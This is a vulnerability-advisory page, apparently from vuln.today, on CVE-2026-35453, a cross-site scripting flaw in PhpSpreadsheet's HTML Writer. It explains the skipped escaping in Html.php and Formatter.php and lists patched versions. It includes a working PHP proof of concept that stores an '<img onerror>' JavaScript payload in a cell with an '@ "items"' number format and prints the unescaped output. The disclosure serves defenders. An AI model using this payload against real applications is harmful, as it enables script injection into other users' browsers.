Skip to main content

PhpSpreadsheet CVE-2026-35453

| EUVDEUVD-2026-27472 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-28 https://github.com/PHPOffice/PhpSpreadsheet GHSA-6wpp-88cp-7q68
4.8
CVSS 4.0 · Vendor: https://github.com/PHPOffice/PhpSpreadsheet
Share

Severity by source

Vendor (https://github.com/PHPOffice/PhpSpreadsheet) PRIMARY
4.8 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
5.4 MEDIUM

AV:N for network-delivered file; PR:L for required file-submission access; UI:R because victim must load the rendered HTML; S:C for browser scope change with low C and I impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (https://github.com/PHPOffice/PhpSpreadsheet).

CVSS VectorVendor: https://github.com/PHPOffice/PhpSpreadsheet

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
A
Scope
X

Lifecycle Timeline

5
Source Code Evidence Fetched
Jul 24, 2026 - 02:41 vuln.today
Analysis Generated
Jul 24, 2026 - 02:41 vuln.today
CVSS changed
May 05, 2026 - 20:22 NVD
4.8 (MEDIUM)
CVE Published
Apr 28, 2026 - 22:50 github-advisory
MEDIUM 4.8
CVE Published
Apr 28, 2026 - 22:50 nvd
MEDIUM

DescriptionCVE.org

Summary

The HTML Writer in PhpSpreadsheet bypasses htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder with additional literal text (e.g., @ "items" or "Total: "@). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file.

Details

1. Conditional escaping in Html.php:1586-1594
php
$cellData = NumberFormat::toFormattedString(
    $origData2,
    $formatCode ?? NumberFormat::FORMAT_GENERAL,
    [$this, 'formatColor']
);

if ($cellData === $origData) {
    $cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags());
}

htmlspecialchars() is only called when $cellData === $origData (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely.

2. Early return in Formatter.php:136-152
php
if (preg_match(self::SECTION_SPLIT, $format) === 0
    && preg_match(self::SYMBOL_AT, $formatx) === 1) {
    if (!str_contains($format, '"')) {
        return str_replace('@', /* raw value */, $format);
    }
    return str_replace(/* ... preg_replace with raw value ... */);
}

When the format code contains @ with additional literal text (e.g., @ "items"), the formatter substitutes the raw cell value into the format string and returns early - the formatColor callback (which would have applied htmlspecialchars) is never invoked.

PoC

test.php

php
<?php

require '/app/vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;

$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();

$payload    = '<img src=x onerror=alert(document.domain)>';
$formatCode = '@ "items"';


$sheet->setCellValue('A1', $payload);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode($formatCode);

$writer = new Html($spreadsheet);
$html = $writer->generateHTMLAll();

file_put_contents('/app/output.html', $html);

echo "HTML output saved to /app/output.html\n";

The produced output contains unescaped data.

html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <meta name="generator" content="PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet" />
      <title>Untitled Spreadsheet</title>
      <meta name="author" content="Unknown Creator" />
      <meta name="title" content="Untitled Spreadsheet" />
      <meta name="lastModifiedBy" content="Unknown Creator" />
      <meta name="created" content="2026-04-02T16:34:44+00:00" />
      <meta name="modified" content="2026-04-02T16:34:44+00:00" />
    <style type="text/css">
[..SNIP..]
    </style>
  </head>

  <body>
<div style='page: page0'>
    <table border='0' cellpadding='0' cellspacing='0' id='sheet0' class='sheet0 gridlines'>
        <col class="col0" />
        <tbody>
          <tr class="row0">
            <td class="column0 style1 s"><img src=x onerror=alert(document.domain)> items</td>
          </tr>
    </tbody></table>
</div>
  </body>
</html>

<img width="719" height="716" alt="Screenshot 2026-04-02 at 18 45 53" src="https://github.com/user-attachments/assets/b758b063-a2d1-4e76-87bb-931eae81dbfe" />

Impact

The impact changes based on the way the HTML is served. In case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited.

AnalysisAI

PhpSpreadsheet's HTML Writer exposes a stored cross-site scripting vulnerability across all major supported version branches through 5.6.0, triggered when spreadsheet cells use custom number formats combining the @ text placeholder with quoted literal strings (e.g., @ "items"). An attacker who can supply a crafted XLSX file to an application that renders it as HTML can inject arbitrary HTML and JavaScript that executes in the browser of any user viewing the output. A functional proof-of-concept is publicly documented in GitHub security advisory GHSA-6wpp-88cp-7q68; however, the vulnerability is not in CISA KEV and EPSS sits at 0.01%, reflecting targeted rather than widespread exploitation at this time.

Technical ContextAI

PhpSpreadsheet (Composer package phpoffice/phpspreadsheet) is a PHP library for reading and writing spreadsheet formats including XLSX, ODS, and CSV. The vulnerability stems from a logic flaw in the interaction between two library components. In Html.php (lines 1586-1594), htmlspecialchars() is applied conditionally only when the formatted cell value strictly equals the raw original value - if the formatter transforms the value in any way, escaping is entirely skipped. In Formatter.php (lines 136-152), when a custom number format contains the @ text placeholder alongside quoted literal text, the formatter substitutes the raw cell value directly into the format string and returns early, bypassing the formatColor callback that would otherwise have triggered HTML escaping. The combination means that cell content containing HTML tags or JavaScript passes through the HTML writer unescaped. This is a CWE-79 (Improper Neutralization of Input During Web Page Generation) defect rooted in a conditional escape guard that fails to account for a legitimate formatter code path.

RemediationAI

Upgrade PhpSpreadsheet to the nearest patched release for the branch in use: 5.7.0 for consumers on the 4.x/5.x branch, 3.10.5 for the 3.x branch, 2.4.5 for the 2.2-2.4 branch, and 2.1.16 for the 2.0-2.1 branch - all confirmed by GitHub advisory GHSA-6wpp-88cp-7q68 package metadata (https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6wpp-88cp-7q68). For applications on the 1.x branch (≤1.30.3), no patched release has been identified - migration to a supported major version is the recommended path. As an immediate compensating control for environments that cannot patch, disable HTML rendering of user-supplied XLSX files and restrict output to non-HTML formats (XLSX, CSV, PDF); this eliminates the affected code path entirely with no functional trade-off for non-browser use cases. Alternatively, pass all PhpSpreadsheet HTML output through a server-side HTML sanitizer such as HTML Purifier before serving to browsers, though this adds latency and sanitizer-bypass risk. Restricting custom number formats at the application layer is not reliably achievable without patching the library.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

Share

CVE-2026-35453 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy